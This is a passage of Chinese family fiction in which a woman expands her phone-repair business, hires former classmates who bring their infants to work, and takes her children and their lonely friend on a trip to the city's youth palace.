他这么一说,赵如月也想起来了,这事宁绍明还问过她,只是她没在意,也是觉得孩子想买东西,那办一个就办呗。 赵如月猜道:“他不会也在网上投资别人创业,才挣的那两万块钱吧?” 她可以肯定,这两年给两个孩子的零花钱是多了一点,却没有到两万这么多,加上他们的压岁钱也不到两万。 宁绍明:“等下午我们回去吃晚饭的时候,问问他就知道了,现在猜来猜去也没用。” “也是。” 好不容易等到下午,赵如月回去接孩子放学,没等到家就问了这个事。 宁时秋却卖起了关子:“等回家我再告诉你,现在不好说。” 回到家后,宁时秋把她带到电脑前,然后熟练地打开电脑,接着打开一个游戏。 赵如月很疑惑,不是要说他怎么赚钱的?为什么打开游戏了? 不过很快她的疑惑就得到了解答。 宁时秋打开游戏后,又打开一个商城的页面:“我就是通过这个游戏的商城卖游戏里的东西,挣到的钱,我这还算少的,因为这是我跟妹妹一起挣的,我们轮流花时间做任务,挣的钱每人一半。 但是我们都要上学,没那么多时间玩游戏,所以才挣了那么点,别人挣的比我们还多呢。” 他接着又打开另一个页面,这个页面赵如月就比较熟悉了,是可以网购的网址。 “我用爸爸的身份证,在网上注册了一个店,帮英语不好人翻译一些信息,有些人英语不好,但是想看自己追的国外明星都在外面的社交平台发了什么,或者想在国外的购物网站买东西,还有跟外国人交朋友的、吵架的。 这些翻译起来都不难,我就帮他们翻译一下,也能赚到一点钱,不过现在网店客人少,而且我时间有限,也接不了多少单,目前网店赚到的,还不如游戏赚到的多。” 其实他们赚到的不止两万块钱,以宁时秋的性格,不可能一次性把所有钱都投出去,一点不给自己和妹妹留,所以他只投了不到一半的存款。 赵如月看完不知道该说些什么,也没追问他们到底赚了多少钱。 她听苏胜楠说开公司和投资的建议都是她儿子给的,还以为自己儿子已经天才到,那么小年纪就能通过网络远程投资挣钱了。 不过转念一想,他这么小年纪,能在网上利用游戏和网店挣钱,也很不简单。 宁绍明在一边已经骄傲得忍不住揉儿子和女儿的小脑袋瓜子:“你们这小脑袋怎么长的,那么小就能挣钱,真棒!” 宁时秋被他那大手揉得头发全乱了,赶紧往旁边躲:“我也不是凭空想出挣钱的方法,这个游戏是锯子带着我玩的,开网店,是从妈妈的店里得到的灵感,锯子也有份,赚到的钱我们平分。 反正开网店又不像现实开店,现实开店需要买店铺、还要请员工、还要进货,网店只需要交一千块钱保证金。 这个钱我刚好不缺,我就想着试试也就是花掉一点时间精力,就算失败了保证金可以退,我也不亏,就试试喽。 我跟妹妹现在还在网上跟认识的网友学编程,那个网友说,等我们学会了,以后也能用这个挣钱。” 宁时秋一说到挣钱的事,说得那叫一个头头是道,眼睛都是亮的。 他也不缺钱,但他就是喜欢挣钱的过程和感觉。 赵如月真的是不服气不行,有些人哪怕不是重生的,也天生嗅觉灵敏,能精准地踩到风口上。 不过…… “你们的网友知道你们还是个小学生吗?” 宁时秋:“……”他很烦自己还没长大这件事。 有时候睡觉前还总是想,要是明天就能长成个大人就好了! 宁时夏:“不知道,我们都不告诉他们,他们以为我们是高中生,妈妈,我们瞒着你做这些,你会生气吗?” “生气倒是不会,就是担心你们累到。” 两个孩子都摇头:“我们都觉得很好玩,一点也不累。” 这是两个高精力孩子,把那些事都当成游戏了。 赵如月也不好多说什么,也没阻止他们继续做,毕竟人家一直做得挺好的,又在网上捣鼓各种东西,又上学,每天还能早睡早起,不服都不行。 只是难免要叮嘱一下他们,在网上注意鉴别,别被人骗了,注意休息,别累着。 遇到什么事别自己扛,可以告诉爸爸妈妈之后,就让他们玩去了。 苏胜楠辞职后,赵如月选了新的副店长,但她却越来越忙了。 因为店里的客人越来越多,尤其是来修理东西的客人,她一个人已经忙不过来。 赵如月不免想起自己夜校里的同学,以前她在的夜校班,班上有好几个女同学,后来因为各种原因,只剩下两个,其中一个就是她自己。 其他人虽然中途没能兼职下去,但该学的也学了不少,能力并不差。 赵如月抽空联系了那几个没继续读的女同学家。 有两个因为预产期到了,要生孩子才没继续读下去,两个人生孩子也就是前后脚,相隔了一个月的时间。 她们孩子满月的时候,赵如月还去吃了满月酒,算算时间,现在她们的孩子也有三四个月大了。 还有一个同学,赵如月给她打电话的时候,她说跟丈夫回了老家,开修理店,两个人现在日子也还算过得去。 赵如月就没在电话里说,想请她来自己店里工作的话,只去找了另外两个。 另外两个倒是有点意动,她们两个文化都不高,当初去学这个,就是想学一门技术,以后好找工作。 她们去学技术的钱,也是以前出去打工自己存下来的工资,只是计划赶不上变化,人生总是有各种各样的意外。 赵如月的同学逮住她就开始诉苦:“我也想出去上班呢,但是你也看到了,我家没人帮忙带孩子,结婚之后,我公公婆婆就催着我和我老公要孩子,说让我们趁着他们还没老,还干得动活,早点生,他们可以帮忙带。 结果他们趁着自己还没老,跟亲戚跑鹏城打工去了,留我们夫妻俩在老家手忙脚乱地带孩子。 我老公心里也很不痛快,早知道这样,我们就不那么快要孩子了,怎么也得等到我学完出来挣钱,我们俩一起再多攒点,在县城买一套房再要孩子的。 现在可好,我被孩子拖着,至少两三年不能出去上班,没有收入,需要冲他们伸手要钱,还得看人脸色过日子。” 疏不间亲,赵如月不好评价她的婆家人,听到这个同学终于提到工作,忙道:“可以带着孩子出去上班。” 她同学就笑了:“哪有老板愿意让员工带孩子一起去上班的,你也不愿意吧?” 赵如月:“我愿意啊!” “你看看,你也……啊?”赵如月这同学愣住,“你、你说什么?” 赵如月笑着说:“我说,你要是去我那里上班,我愿意让你带孩子去。” 她同学第一反应不是高兴,而是为她店里的生意担心:“那样会不会影响你店里的生意?虽然我家孩子不饿不拉的时候不会哭闹,但是偶尔闹起来也挺烦人的。” 赵如玉反倒觉得没什么:“反正我店里要修理的东西又不是什么需要扛来搬去、爬上爬下才能修的大件家电,成天就是坐在桌边修东西。 你不让孩子乱碰乱拿配件往嘴里塞,还有孩子哭闹的时候,及时带出去哄一下,别影响到店里买东西的客人就行。” 孩子又不会一直这么小,等孩子长到三四岁,送去幼儿园,到时候她店里就能多出两个对店里很有归属感的熟练工了。 赵如月也不担心她们到时候被别人挖走,除非她们出去自己单干,要不然有几个老板愿意让员工在上班中途出去接送孩子放学? “那样的话,我愿意!兰娟肯定也愿意!她公婆更绝,给她小叔子家带孩子,现在孩子带大了,还说走不开,不愿意给她带,而且她家的条件比我婆家更难,听说她奶水还少,要给孩子买奶粉,那奶粉多贵啊,她老公现在一个人挣钱,她都快愁死了。” 她们愿意去,赵如月就轻松多了:“那我们就说好了,可不许放我的鸽子,等我的新店布置好,就通知你们去上班,每天工作时间可以不固定,只要你们能完成当天的工作量就行,我还得去兰娟那里一趟,先走了。” 她同学想留她吃个饭,可一想想自己家里,什么好菜都没有,买块肉都要想半天,就觉得还是算了,等过几天自己娘家人来看她,给自己送东西的时候,再送一些娘家种的水果给她吧。 “那行,你慢走。” 赵如月又去了另一个同学那里一趟,毫不意外地又听了半天这个同学倒的苦水。 她都听得有些麻木了,不过她也很理解她们的困境,所以既没有不耐烦,也没有义愤填膺地跟她们一起骂她们婆家人,毕竟帮着骂,对解决她同学的现状没有任何帮助。 赵如月只是适时把话题往工作上引,给她们描述并引导她们畅想一番,她们自己工作挣钱后,手头有钱不用掌心朝上的畅快日子,她同学的抱怨自然而然就少了很多。 知道可以带孩子去上班后,这个同学也毫不意外地答应了。 毕竟谁也不想总是过手心朝上的日子,能有这么个机会,要是不牢牢抓住,她以后半夜起床奶孩子,都要边奶孩子边想这事边后悔。 赵如月搞定修理师傅后,立刻开始着手装修分店。 早点装修好,把客流分过去,她也能轻松点。 第132章 赵如月的分店在新买的小区铺面。 两间铺面打通,做成一家店,空间非常大,比平房那边宽敞很多。 但赵如月没在这里设置仓库,她特地隔出两个小房间,每个小房间里都带有卫生间。 其中一间小房间是给营业员们中午轮流休息、吃饭的地方。 另一间是母婴室,可以让带孩子来上班的员工放她们自己和孩子的物品,孩子要喝奶的时候可以到里面去喂奶,孩子睡着了也可以安顿在这间小房间。 平时只要管理严格一点,不让外人进出,也不放对孩子有威胁的东西,这样把孩子放里面,安全就比较有保障。 不过新店刚装修好,她的两个同学要带着孩子上班,孩子免疫力不如成年人,赵如月也不能马上让她们到新店去,就先把她们安排在了老店那边。 新店那边装修好之后,还是得先晾一段时间才能开张,开张一段时间后,再让两个师傅带着孩子过去。 老店那边的小仓库,暂时腾出来当做两个新维修师傅的工作室和休息室用,仓库里的东西就搬到纪慧萱原先租的那间。 纪慧萱的照相馆,现在已经度过了创业初期这个最艰难的时候,现在事业已然处于飞快上升的时期。 现在她的照相馆业务范围也扩大了,纪慧萱请了员工后,开始接婚纱摄影和艺术照的拍摄工作,以前那间小平房的面积就不太够她施展。 纪慧萱就在县城更好的地段,找了个合适的铺面,把铺面装修得非常好而且很有艺术感,看起来也更高档了,县城很多年轻女孩子都喜欢去他店里拍艺术照和婚纱照。 她把店搬过去,重新开张后,也去了她新店附近的小区租房子住,这边的小平房就空出来了。 赵如月把纪慧萱原先租的那间小平房收回来后,也不再租出去,前段时间就留下给宁绍明当仓库用,现在只需要腾出一点地方给她的店用就行。 办公的地方收拾好之后,赵如月的两个同学也跟家里人商量好了来上班的事。 她们以前学过的东西几个月没接触过,难免有点生疏,但赵如月也没在意这一点,毕竟最开始她给的工资也只是试用期工资。 不会因为是自己同学,跟自己比较熟,一上来就给高工资。 赵如月也在慢慢地带着她们适应,哪里不会或者没学过的东西,只要她们愿意学,她都愿意教。 她店里需要修理的东西其实就MP3、MP4、小灵通和手机,不同的品牌都是换汤不换药,常见的问题就那些。 难修理的赵如月也不会要求她们马上能学会处理。 技能提升是把常见问题解决熟练之后,如果她们想要突破自己的技术,获得更多薪水,才需要考虑的事。 一个月后,两人都适应了在她店里工作的节奏,大部分常见的问题都能解决,赵如月就轻松了很多。 终于不用每天把大部分时间都放在工作上,只需要解决另外两个师傅解决不了的问题,空余时间大大增加。 只有客人特别多,她们俩都忙不过来的时候,才分一部分遇到常见问题的机子给自己。 平常都是两个师傅处理,因为除了基本工资,他们修理东西也是看自己的能力,按件算提成,所以工作量不那么多的时候,赵如月也不跟她们抢,让她们能尽量多赚点钱。 她们刚开始来的那段时间,跟人说话时,经常说着说着就拐到抱怨婆家人上,后来收入增加了,这种情况就减少了。 她们的两个孩子也还算乖巧,本来兰娟的孩子总喜欢让她抱着才安稳,要不一放下就哭。 这让兰娟的收入比另一个孩子不爱哭闹的同学差了一大截,她奶水又少,正是很需要钱给孩子买奶粉的时候。 兰娟没办法,只能狠下心,硬是把他的这个习惯改掉。 现在放床上也能安安稳稳地待挺长一段时间,她的收入也涨上去了。 从第三个月起,对工作熟练后,她们有了不错的收入,也不成天愁眉苦脸了。 赵如月好不容易腾出时间来,就找了装修公司,装修自家在县城买的房子。 她以前在拆迁区那套房附近,有个小卖部老板娘给她塞过一张名片,是她丈夫拉起来的一个建筑装修队的名片。 赵如月整理背包的时候,把那张名片翻出来了。 原本赵如月不太想找那个老板娘丈夫的装修队,总感觉她嘴上没个把门,担心自己房子的情况会被她到处乱说。 可赵如月在县城打听了一段时间,很多人都说她老公的装修队做活质量好,已经从私下拉的一个建筑装修队,鸟枪换炮升级成正经公司了。 这公司刚开起来,还在继续攒口碑的阶段,弄虚作假的概率不高。 连赵如月的堂妹赵如玉也知道那个公司。 别人赵如月不一定信得过,但赵如玉她是相信的,她这个堂妹可从来没做过不靠谱的事,也没坑过她。 后面不知道那个小卖部的老板娘从哪里听说了,她家要装修房子的消息,又主动找过来给自家的公司拉业务。 两人聊着聊着,说到当初小卖部老板娘在车上认错人的事。 赵如月才知道人家并不是故意到处说她家消息的,只是那时候阴差阳错,认错人了。 后面拆迁款下来,这个老板娘家也是被一堆人找上门去借钱,还有给她家设局,想引着她老公去赌、去那些带颜色的高档场所消费的。 好在他们夫妻俩也扛得住,没中招,从那之后,她说话也谨慎很多了。 赵如月这才放下心里那点疙瘩,选择了她家的装修公司。 不过赵如月跟她聊的时候,顺便也给苏胜楠刚创立不久的维修公司,拓展了一个客源渠道。 有些装修公司的客户在装修结束后,过了几年,客户家里的东西损坏,需要维修或者换新,又超出装修保修期,装修公司当然不会再去帮忙修。 而这些装修公司的‘过期客户’,就是苏胜楠的潜在客户。 有装修公司提供的客户资料,总比让苏胜楠一个个去找更方便,也更精准。 赵如月给苏胜楠投钱后,是不参与管理的。 不过学维修的女人太少,很难招到女性维修师傅,苏胜楠没办法,只能招没有经验的新手自己培训。 可她又要跑业务,又要跑客户家干活,挣钱维持公司,很难再腾出时间来给员工进行系统地培训。 这时候只能又找到赵如月这里,请赵如月出马,去她公司里任职,当公司的技能培训师。 “师傅,我真的没办法了,只能请你再帮帮忙。”苏胜楠辞职后,每天需要到处跑,压力又大,人瘦了一大圈。 她妈妈听说她辞职了要创业,赶回来看怎么回事。 一回来,看到自己女儿累成这样,也是非常心疼。 她妈妈也不出去打工了,决定留下给她帮忙。 现在她妈妈是她公司的维修师傅,也是最开始跟她一起上门维修的搭档之一。 最初苏胜楠的妈妈也是什么都不会,后来看得多了,也跟着学慢慢就学会了。 她妈妈学出来后,也能带新人了。 她们俩拆分开,一人带一个新人,但这样还是不够。 “刚开公司的时候,我还担心没活,结果开了公司到处跑业务才发现,我们县城现在的独居女性竟然不少,单子太多,人手不足,有些客人需要等候的时间久,一直在催,也有不想等那么久,转头去找别人的。” 那些业务都是苏胜楠辛辛苦苦招来的,流失的每一个都代表着她前期的努力作废,所以流失一个她都很心疼。 赵如月和宁绍明一直都在忙自家店里的生意,还有家里房子装修,参加镇上景区开发公司给他们搞的培训,有空就陪陪孩子,假期带他们出去玩。 除此之外,赵如月还得腾出时间来,去帮田清买配件,组装电脑,不过这事不算长期的活。 田清跟着她一起去买东西,她组装的时候,田清也在旁边看着学,看着看着,田清自己就会了。 赵如月还给她推荐了自己常逛的论坛,还有一些帖子,让她自己去学习,久而久之,田清就再也不是只会玩电脑,不会修电脑的电脑小白了。 所以赵如月平时要做的事不少,还真没怎么关注苏胜楠公司的情况。 可以说,那钱投出去,她就当不是自己的了,以后能有分红是好事,赔了也是投资的风险,平常心看待。 真没想到,苏胜楠的公司发展得那么快。 赵如月想了想,家里的房子快装修好了,后续软装急不来,完全装修好之后,也得散味好久,时不时过去给房子通风就行。 这个时间倒是能空出来:“我可以答应去你公司当技能培训师,可你也知道,我每天也有自己的事情要忙,能腾出来的时间不多,恐怕不能全职去做这个工作。” “没事没事,只要师傅你愿意去就行,培训计划你自己制定,我给你算全职的待遇,社保那些也给交。” 社保这个倒是让赵如月挺心动,镇上那个景点开发公司承诺,等到以后景点改造好开放后,他们正式上岗,也会给他们交社保,可那至少还要好几年。 而且赵如月估计,到时候也得跟他们签合同,规定固定的工作时长,才能给交社保,她哪有那么多时间? 这么一对比,倒是让苏胜楠公司交更好些,她也不用再等几年了。 赵如月回家写培训计划的时候,还没什么真实感。 等到她站在苏胜楠公司用来当做培训室的会议室里,站在一群人面前给人家讲课。 等讲完了,其他人都离开后,赵如月看着空荡荡的会议室,忽然反应过来,自己竟然也能有给别人上课,让别人管自己叫老师的这一天。 这个感觉可真是新奇! 有了她帮忙给员工培训,苏胜楠公司缺人的情况终于好转不少。 这一年,赵如月收获不少,她妹妹赵如媛家的小龙虾养殖也做得不错。 过年回娘家的时候,赵如媛手腕带上了金手镯,也把去年借的钱全还了。 她拿到欠条,随手撕掉后,跟赵如月打听八卦:“我听说昨天初一那天,姐夫那个二哥二嫂去你们老宅那边给老人拜年,被老人赶出来了?” 赵如月都不想说老二夫妻俩,他们俩看起来改了,实际上还是那个德行。 “本来按照规矩,今年我公公婆婆老两口是要去老二家过年的,我跟你姐夫不跟他家来往了,可爹妈是他们亲爹妈,这规矩也还是得遵守吧? 结果他们夫妻俩不想沾手我婆婆的事,大年三十就装死,初一才假模假样地回来拜年,这谁能待见他们?可不就别我公公给撅回去了。” “那往后是个什么章程?听说姐夫他大哥明年也要放出来了。”赵如媛还挺为姐姐姐夫家担心,这老大老二都不像样,她姐姐姐夫就要承担更多了。 赵如月倒是不怕:“这也好办,我公公已经决定了,以后过年过节,哪个儿子都不跟,让我们给他们送年礼去就行,他们自己过。” “这样听起来倒是挺公平,可仔细算起来,他们住的是你跟姐夫的房子,其实算是跟你们家过了。” “这也是没办法的事,过日子大面上不吃亏就行了,不能计较得太细,而且真计较起来,我们也没吃亏,今年我公公给小秋和小夏的压岁钱,你猜有多少?” 赵如媛往高了猜:“两百?” 她觉得这个数额,应该是她身边孩子能拿到的数额最高的压岁钱了。 这还是她给客户孩子发的压岁钱,给自己孩子她都是只给一百。 赵如月竖起一根手指。 赵如媛失望道:“一百?” 赵如月摇头。 赵如媛瞪大眼睛:“一千啊?” 看到赵如月点头,她震惊地喃喃道:“我的老天爷,你公公这么舍得?这是受什么刺激了吗?” “我也不知道,反正我看他给你姐夫大哥家的丹萍,红包没那么厚,也就给了五百。” 当然宁达也不是一起给的,两家孩子拜年的时间不一样,他没让别人知道。 也就是宁丹萍突然收到这么大额的红包,太惊讶了,忍不住跟赵如月说,赵如月才知道公公给自家孩子的,比别人家孩子的,多那么多。 这还是宁丹萍考上了中专,宁达才给的五百块钱大红包。 可见宁达心里也是有一杆秤的。 赵如月叮嘱妹妹:“这事我就跟你说过,你可别出去跟别人说。” 赵如媛道:“你放心,我嘴巴严不严你还不知道?不过说到姐夫大哥家的姑娘,她爸坐牢了,她上中专政审也能过?” “现在读中专早不审核这个了,又不是以前特殊时期的时候,可能也就有一些有特殊要求的学校,比如说军校,可能还要政审吧。” 说到宁丹萍上学的事,也挺有戏剧性。 以前她没目标,读书不认真,后来有目标了,学习成绩又不够,她爸还犯事进去了,又得为以后的学费发愁,课余时间在亲戚家里兼职干活,给自己攒学费。 结果到考试那一年,峰回路转,镇上开发景区,过几年她妈可以在景区干活,也能有一份固定的收入。 未来有了保障,她妈不再捂着钱不敢用,也愿意出钱供她读书了。 最后宁丹萍中考时超常发挥,成绩可以上普高,但学校不太好。 宁丹萍认真思考之后,还是选择去读了中专护理专业,虽然当时只是几个孩子一起开玩笑说她适合这个。 但她考虑到以后这个专业毕业出来,在镇上或者县城可以相对没那么难地进入体面的单位,也想尽快出来工作,好尽早经济独立,就依然选择了这个专业。 赵如媛听完她的事说道:“听说现在中专学历也不怎么值钱了,我真担心我家彩柔以后考不上大学。” 赵如月倒是不太担心,她妹妹的女儿跟自家两个孩子有点像,全都是自觉性特别高、知道自主学习的孩子。 人家该玩的时候玩得尽兴,该学习的时候也非常认真,脑子还聪明,想不考上都难。根本不需要家长瞎操心。 赵如月说她妹妹:“我看你是没事闲的瞎操心,以前你不管,孩子读书不也读得好好的,我劝你可别兜里有点钱就瞎搞,最好先跟孩子沟通,听听孩子的意见和想法,别想着自己为孩子好,就自作主张给孩子报班什么的。” 这也就是亲姐,换了别人不敢把话说得那么直白。 赵如媛手头有钱后,还真想过给孩子找补习班:“我看市里好多家长都给孩子报班补习,成绩不好的报,成绩好的也报,还有不少上那什么兴趣班,学才艺的,那我们家的不报班,不是就落后了吗?” “她现在成绩下滑了?” “那倒没有,今年还考了年级第三!” “那你费这钱做什么?钱多咬口袋啊?你要真是有闲钱,倒是可以问问孩子想不想上兴趣班,以后她要是考上大学,要表演点才艺什么的,也不至于干瞪眼。” 赵如媛被她劝动了:“我回去问问家里两个大的愿不愿意学,小的就算了,还在玩泥巴的年纪,学了也是白学。” 赵如媛回去后跟女儿商量这事,林彩柔知道了是二姨劝的自己妈妈,还特地私下给赵如月道谢,说她确实不想去上补习班,觉得浪费钱,倒是确实跟想去上兴趣班,学点别的东西。 这事让赵如月也想到自己家孩子,找了个机会就问宁时秋和宁时夏:“你们要不要报兴趣班学点什么才艺?” 宁时秋眼睛一亮,问道:“县城也有少年宫了吗?” “还没有,怎么突然问这个?” “我经常见课本里提到少年宫,还没见过少年宫长什么样呢,有点好奇。” 宁时夏附和:“我也是。” 赵如月恍然,其实市里就有少年宫,自己带孩子去市里那么多次,竟然没带他们去过少年宫。 刚好明天有空,赵如月直接说道:“明天就带你们去,今天你们先想想要学什么,明天我们去问问,能不能周末去学。” 平时孩子要上课,而且她家孩子课后自己给自己安排的事也不少,肯定没法每天赶去市里上兴趣班,再赶回家,周末两天时间去还行。 两个孩子欢呼一声,跑去开电脑查询少年宫都可以学什么了。 赵如月提醒他们:“锯子以前不是在市里读书吗?我们县城所属的市只是小城市,在网上不一定能找到具体信息,还不如直接去问锯子。” 两个孩子又急忙去给姚据打电话。 姚据这会儿也在老家过年,过年期间他爸爸妈妈又好像完全没有矛盾一样,带着他一起回老家,除了姚据不太爱说话,看起来就像是很正常的一家三口的样子。 实际上只有他知道,背着人的时候,他爸妈都会忍不住对对方翻白眼。 要不是过年期间,来他家拜年的亲戚非常多,就没个停歇的时候,老家左右还都是亲戚,房子隔音效果一般,怕被亲戚听见,他们肯定会见面就吵架。 姚据也难免会被逼着,必须跟他们一起好好招待上门拜年的亲戚朋友。 接到宁时秋和宁时夏的电话,姚据终于找到借口跑回楼上自己房间接电话,得到难得的喘息机会。 打完电话,姚据深吸一口气才从楼上下来,因为在楼上待得太久,难免又被父母一顿斥责。 好在他找到了离开的借口,等夜深家里客人终于全部离开。 他趁着父母还没休息,跟父母说:“今天我兴趣班的老师给我打电话,说兴趣班那边要提前开班,我得回去上课。” 他爸妈拿过那个今年给他买回来的最新款诺基亚看了一眼。 今天打来的那个电话,随意地看了一眼,备注确实是老师,就摆了摆手:“那你就去吧,明天让司机送你。” 如果他们能多看一眼手机号码,就会发现他在撒谎,而且这个谎言漏洞百出,根本经不起查。 姚据收回手机转身离开父母的房间,回到自己房间后,把那已接来电的号码备注改成了:我最好的朋友。 第133章 客车缓缓停稳,司机转头对后面的乘客说了一句:“市客运站到了。” 同时按下开门按钮,噗嗤一声,车门打开。 宁时夏动作迅捷,飞快解开安全带,第一个跑到车门处蹦下去。 “小夏你慢点,注意安全!”宁时秋追在她身后,连连提醒她注意安全。 “知道了知道了,我很注意的!”宁时夏一下车,就看到了站在一辆黑色小轿车旁边的姚据。 她用力挥手:“锯子哥,这边这边!我们到啦!我们还给你带了好吃的!” 姚据一看到活力十足的宁时夏就忍不住露出笑来,也学着她的样子,举起手用力挥动:“小夏,快来试试我家的四轮车!” 站在他身边的司机听到‘四轮车’这个词,嘴角忍不住抽了抽,这个词让人听着,直接把豪车拉到跟三轮车是一个档次的车似的, 他心想:小孩子真有意思,心思单纯,看车子只看几个轮,完全不在乎它是什么牌子的车,价格多贵,他家孩子也一样,觉得挖掘机和推土机比豪车厉害多了。 “来啦来啦!”宁时夏左看看右看看,确定没有车子后,迅速冲过去,解下自己的背包。 她的背包是赵如月找人给她定做的缩小版绿军包,现在别人都嫌这种包土里土气,可宁时夏就喜欢这个颜色。 看到正常型号的绿军包后,她就非要买一个,可买回来她个子又太小,日常完全背不了。 赵如月没办法,只好在网上给她订做了一个小号的,但即使是小号的包,里面的容量也很大。 绿军包里塞满了宁绍明做的,各种各样方便孩子带出门吃的小零食。 姚据习惯性地要帮她拿包,宁时夏却没让,直接把背包打开了。 “昨天我爸爸做了雪花酥、牛轧糖、猪肉脯、牛肉脯、牛皮糖、花生芝麻糖,可惜你不在,要不然吃刚出锅热乎的,可好吃了。” 宁时夏一边小嘴说个不停,一边往外给姚据掏东西,她带了双份的量,除了自己的,另一份就是给姚据带的,姚据也很自觉,她一打开包,自己也很自觉地打开自己的空包,让她往里塞东西。 “还有一瓶奶茶,我包里装不下了,就装在我哥背包里。” 她说着话,宁时秋也走到了他们面前,拿出包里的奶茶,往他们背包里一人塞了一瓶。 他包里也装着一些零食,不过数量没宁时夏的多,只挑了两三样自己喜欢的带上,反正中午肯定要在外面的饭店吃饭,带多了肯定吃不完。 为了能让两个孩子在市里多玩一会儿,赵如月和宁绍明早上很早就起床带他们去坐车了。 这会儿到了市里时间还很早,少年宫没开门,姚据热情邀请他们去自己家:“我去你们家好多次了,你们还没去过我家玩呢!” 姚据本来还担心这次他们又拒绝,就听到宁时夏说:“好呀!我爸爸给你做了好多菜,也一起带来了,得及时放进冰箱里保存。” 姚据这时候才意识到,他赵阿姨和宁叔叔手上提着的袋子,通过袋子显露出来的形状,可以看得出里面是一个个方形的盒子,看起来像打包盒。 他们一行人来到姚据家后,宁时夏走进他家装修得很金碧辉煌的大房子哇了一声,发现自己的声音在这个房子里竟然还有回声。 可是越走越觉得不对劲,房子里好像没什么人住,很豪华,但看起来空荡荡的。 “锯子哥,你家人都不在吗?”宁时夏说话时又有回音,吓得她只敢凑到姚据身边小小声地跟他说,“你家真好看,像个城堡。” 姚据轻轻地拍拍她的脑袋,帮她把背包放好,心想:也就小夏这么单纯可爱的人觉得自己家像城堡了。 别人都说他家这个装修就是暴发户装修,跟酒店大堂似的,特别看不上。 “他们都在老家走亲戚,一时半会儿回不来,我想跟你们去玩,跟他们说了一声,他们就让我先回来了,反正我年纪小,大人吃饭聊天我也听不懂,他们得在老家待到过了正月十五才回城。” 过年期间,他家也给家里雇的阿姨们放假了,只有司机没放假。 本来他爸妈各自有一个司机,但是为了装和睦一家亲,就让他妈妈的司机也放假了,过年期间只留下他爸的司机开车载他们一起回老家。 司机帮他接到人,送他们到家后,还得赶回去给他爸妈开车。 所以他家目前还真只剩下他一个人在,连个保洁阿姨都没有。 赵如月和宁绍明以前要是来到这么豪华的房子,肯定会觉得手脚往哪儿放都不对。 现在倒是很从容了,毕竟他们也是有自己事业的人,哪怕不如姚据家,但有事业就有自己的底气。 宁绍明倒是有点担心:“要不今天你也跟我们一起回镇上吧,这么大个房子,一人住着多空荡,就算小区安保再好,一个人住着也不够安全。” 这么大个房子只有一个人在,就是个大人也可能会害怕,更何况这还是个孩子。 一开始姚据跟他家孩子玩得好,但来往得没那么多,他们就算知道他自己一个人住,觉得这孩子有些可怜,也不好插手。 自从他们家在县城开店后,他家孩子经常去县城,三个孩子能一起玩的机会更多了,小秋和小夏经常带姚据回家吃饭,姚据玩得太晚了,就留下跟宁时秋一起睡。 这两年相处下来,姚据跟他家的两个孩子玩得越来越好,他们也把他当做自家侄子一样看待,宁绍明才多说了这一句。 听到宁绍明的话,姚据一口答应下来:“好,那我把你们给我带来的菜都放冷冻里,等开学我再带回县城慢慢吃。” 他最喜欢去小秋和小夏家,尤其喜欢他们家那种温馨的氛围,每次去,他都在悄悄在心里假装自己也是这个家的一份子。 虽然他其实并不是这个家的一份子,但每次他去了之后,从来不会被忽视,也不会被特意照顾,姚据很喜欢这种感觉。 不过姚据也不是天天去,大部分时候晚饭还是在家吃。 宁绍明和赵如月把带来的东西放到厨房的桌子上,姚据自己把那些打包盒一个个拿出来,再放进冰箱冷冻室。 透过透明的打包盒,他可以看到,里面装着的,果然全是爱吃的菜:红烧肉、水煮鱼、水煮牛肉、干锅羊肉、孜然牛仔骨、孜然牛肉、黄豆焖猪蹄…… 一共十几盒,每盒都是一种不同的菜,小秋和小夏家昨天一天肯定吃不了那么多菜,这一看就是特地给他做的。 姚据看得心里热乎乎的,有一种被人重视的感觉。 放好东西,姚据到客厅打开了电视,找出游戏手柄,跟宁时秋和宁时夏一起打电动。 赵如月和宁绍明就坐在沙发上休息,看着他们玩。 姚据输了一局,换宁时夏玩的时候,嘴里吃着橘子,视线在熟悉的客厅看了一圈,感觉这个房子到处透着热乎气。 完全没有他自己在时的冰冷感和父母也在时的窒息感。 他很想留下这样的热乎气,可惜他们只是来做客的。 玩到十点左右,估摸着少年宫开门了,就结束了游戏,姚据给了宁绍明一个小巧的电话簿说:“这里面有市里出租车司机的号码,有标记的几个都是过年期间不休息的,以后你们来市里也可以打电话叫车,这样临时在路边等着方便。” 宁绍明和赵如月来过市里很多次,也存了几个出租车司机的号码,可那些司机都回家过年了,要不他们也不用姚据特地去车站接。 宁绍明联系了好了车子,等车子快到小区门口,他们也提前收拾东西出门。 沉重的大门一关,欢笑声被隔绝在外,整栋房子又恢复了冰冷和沉寂。 市少年宫放假也就闭馆到年大年初三,初四就开馆了。 不过也没正常上班,只在上午十点开到下午四点左右,有时候还会提前关门。 他们去的时间还算合适,在里面逛了一圈,他们市不如大城市有那么多可以学的东西,可选的兴趣班不算多。 现在又是过年期间,很多教室都空着,他们也没法看全,只能先简单了解一下,要是孩子有兴趣的话,等少年宫这边正式上班再来。 在里面看一圈没花多少时间,出来的时候却刚好是饭点。 赵如月和宁绍明果然跟宁时秋猜的一样,带他们去饭店吃饭了。 吃完又带他们去别的地方玩,中途带的奶茶倒是喝完了,零食想起来就吃一点。 临到回家的时候,宁时夏带了太多零食,果然吃不完,还剩了一大半。 回家前又跟以前一样,全塞给姚据:“你放在你县城的家里,我爸爸说这些他都用封口机封好了,可以放着慢慢吃。” 姚据也乐得帮她收尾,笑着点头:“好,我都带回去放着慢慢吃。” 宁时秋嫌弃道:“你就惯着她吧,惯得她每次出来玩都这样。” 姚据一点不在意:“小秋是看我喜欢吃这些才多带的。” 宁时秋翻个白眼:“你想太多了,她就是眼大肚子窄!” 姚据才不管他的白眼,坚持道:“那我也爱吃!” 他也没瞎说,每次带回去的东西,全是喜欢吃的,他也全都吃完了,有时候欢欢还会来跟他抢。 每次他回县城的时候,要是带了好吃的,只要是他自己买的就随便他拿 但是从宁家带东西回去,每次回家都跟做贼似的,要不然让欢欢发现,肯定也要薅走不少。 回去之前,他们又去了一趟姚据家,姚据只拿了几件贴身衣服和袜子,还有一双换着穿的鞋子。 他在宁时秋家也放了一些衣服,要是不够穿,还可以去县城拿,也不麻烦。 姚据跟宁时秋在镇上的朋友也混熟了,回到镇上的时候已经是傍晚,他们玩了一天也不嫌累,带着买回来的东西,就又跑去找朋友玩。 宁时夏倒是没跟他们一起,毕竟是同龄人,而且她在镇上跟女孩子玩得多一些,不过她也带着自己买的东西去找朋友了。 宁时秋不太放心,看着妹妹跟赵思莲汇合,才跟姚据去了他朋友家。 